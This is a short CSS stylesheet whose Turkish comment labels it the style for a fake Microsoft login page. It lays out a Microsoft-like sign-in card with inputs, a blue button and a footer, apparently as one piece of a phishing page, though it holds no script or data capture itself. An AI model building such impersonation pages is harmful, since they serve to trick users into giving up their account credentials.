/* Türkçe – Sahte Microsoft giriş sayfası stili */
@font-face {font-family: 'Segoe UI'; src: local('Segoe UI');}
* { box-sizing: border-box; }
body {
  margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background: #f5f5f5; color: #333;
}
.header { display: flex; align-items: center; gap: 12px; padding: 20px; }
.header img { width: 28px; height: 28px; }
.container { max-width: 420px; margin: 40px auto; background: #fff; border-radius: 8px; box-shadow: 0 6px 24px rgba(0,0,0,0.08); }
.content { padding: 24px 28px; }
.title { font-size: 22px; font-weight: 600; margin-bottom: 8px; }
.subtitle { font-size: 14px; color: #666; margin-bottom: 20px; }
.input { margin-bottom: 12px; }
.input label { font-size: 13px; color: #555; display: block; margin-bottom: 6px; }
.input input { width: 100%; padding: 12px; border: 1px solid #ccc; border-radius: 6px; font-size: 14px; }
.button { width: 100%; padding: 12px; background: #0067C0; color: #fff; border: none; border-radius: 6px; font-size: 15px; cursor: pointer; }
.button:hover { background: #0056a3; }
.notice { font-size: 12px; color: #777; margin-top: 14px; }
.footer { text-align: center; font-size: 12px; color: #888; padding: 10px 0 20px; }
.link { color: #0067C0; text-decoration: none; }
.badge { display:inline-block; background:#e6f1fb; color:#084e88; border:1px solid #b7d3f3; padding:6px 10px; border-radius:6px; font-size:12px; margin-top:8px; }